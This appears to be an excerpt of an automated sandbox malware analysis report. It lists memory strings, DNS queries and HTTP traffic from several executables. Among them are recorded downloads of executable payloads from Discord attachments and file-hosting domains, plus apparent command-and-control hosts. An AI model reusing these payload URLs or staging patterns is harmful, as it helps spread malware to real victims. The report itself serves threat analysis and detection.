Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: A70A.exe, 0000000B.00000002.601138545.0000000003CC2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.601972098.0000000003DB2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.589600785.0000000002C51000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: D375.exe, 0000001A.00000002.601649001.0000000001571000.00000004.00000020.sdmp, D375.exe, 0000001A.00000002.601572547.000000000154C000.00000004.00000020.sdmp	String found in binary or memory: http://unic7m.top/index.php
Source: D375.exe, 0000001A.00000002.601649001.0000000001571000.00000004.00000020.sdmp	String found in binary or memory: http://unic7m.top/index.php(
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: http://www.ncn.gov.pl/finansowanie-nauki/pomoc-publiczna
Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: http://www.ncn.gov.pl/finansowanie-nauki/pomoc-publicznayX
Source: A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: http://www.stat.gov.pl/cps/rde/xbcr/bip/BIP_oz_wykaz_identyfikatorow.pdf
Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: http://www.stat.gov.pl/cps/rde/xbcr/bip/BIP_oz_wykaz_identyfikatorow.pdfyX
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603065372.0000000003E71000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603701559.0000000003EA8000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600555939.0000000003D43000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599060773.00000000030D7000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.595143338.0000000002EB5000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600180400.0000000003CD2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: A70A.exe, 0000000B.00000002.600595408.0000000003C31000.00000004.00000001.sdmp, C169.exe, 00000010.00000002.499816087.0000000003BB1000.00000004.00000001.sdmp, C169.exe, 00000017.00000000.476958517.0000000000402000.00000040.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: C169.exe, 00000017.00000002.597704836.0000000002FA1000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: C169.exe, 00000017.00000002.593626249.0000000002CE0000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.597625234.0000000002F9B000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/914960103592054858/914986994759794738/Underdosed.exe
Source: C169.exe, 00000017.00000002.597704836.0000000002FA1000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com4
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603065372.0000000003E71000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603701559.0000000003EA8000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600555939.0000000003D43000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599060773.00000000030D7000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.595143338.0000000002EB5000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600180400.0000000003CD2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.jsdelivr.net/npm/popper.js
Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: https://code.jquery.com/jquery-3.4.1.slim.min.js
Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603065372.0000000003E71000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603701559.0000000003EA8000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600555939.0000000003D43000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599060773.00000000030D7000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.595143338.0000000002EB5000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab4
Source: C169.exe, 00000017.00000002.600180400.0000000003CD2000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabx
Source: C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603065372.0000000003E71000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603701559.0000000003EA8000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600555939.0000000003D43000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599060773.00000000030D7000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.595143338.0000000002EB5000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600180400.0000000003CD2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603065372.0000000003E71000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603701559.0000000003EA8000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600555939.0000000003D43000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599060773.00000000030D7000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.595143338.0000000002EB5000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600180400.0000000003CD2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: https://socfinder.site
Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: https://socfinder.site/
Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: A70A.exe, 0000000B.00000002.606343545.0000000004099000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: A70A.exe, 0000000B.00000002.603991878.0000000003EBE000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603065372.0000000003E71000.00000004.00000001.sdmp, A70A.exe, 0000000B.00000002.603701559.0000000003EA8000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600555939.0000000003D43000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599060773.00000000030D7000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.595143338.0000000002EB5000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594676104.0000000002E09000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.596302776.0000000002ECB000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.599190914.00000000030ED000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.600180400.0000000003CD2000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598347234.000000000302C000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.598194373.0000000003016000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.593807750.0000000002CE4000.00000004.00000001.sdmp, C169.exe, 00000017.00000002.594596354.0000000002DF3000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: A70A.exe, 0000000B.00000000.415048801.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000002.576541484.0000000001327000.00000002.00020000.sdmp, A70A.exe, 0000000B.00000003.417761499.0000000003471000.00000004.00000001.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-133188560-4

Source: unknown

DNS traffic detected: queries for: host-data-coin-11.com

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: 22_2_00404A20 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetSetOptionA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,InternetConnectA,HttpOpenRequestA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlen,lstrlen,GetProcessHeap,HeapAlloc,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,lstrcatA,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

22_2_00404A20

Source: global traffic	HTTP traffic detected: GET /attachments/914960103592054858/914961866462232616/Oldening.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /files/8723_1638191106_2017.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: GET /files/6096_1638289274_6885.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-7000.com
Source: global traffic	HTTP traffic detected: GET /files/4152_1638095425_4339.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com
Source: global traffic	HTTP traffic detected: GET /tratata.php HTTP/1.1Host: file-file-host4.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sqlite3.dll HTTP/1.1Host: file-file-host4.comCache-Control: no-cacheCookie: PHPSESSID=sc69tg8a29f4pr0nv46ehfqbko
Source: global traffic	HTTP traffic detected: GET /files/5311_1638303032_7343.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-file-host-3.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 1b b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 46 eb ab 8f 70 bc 57 da 4a d7 f7 26 84 22 e9 c3 90 50 2a e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9FpWJ&"P*c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
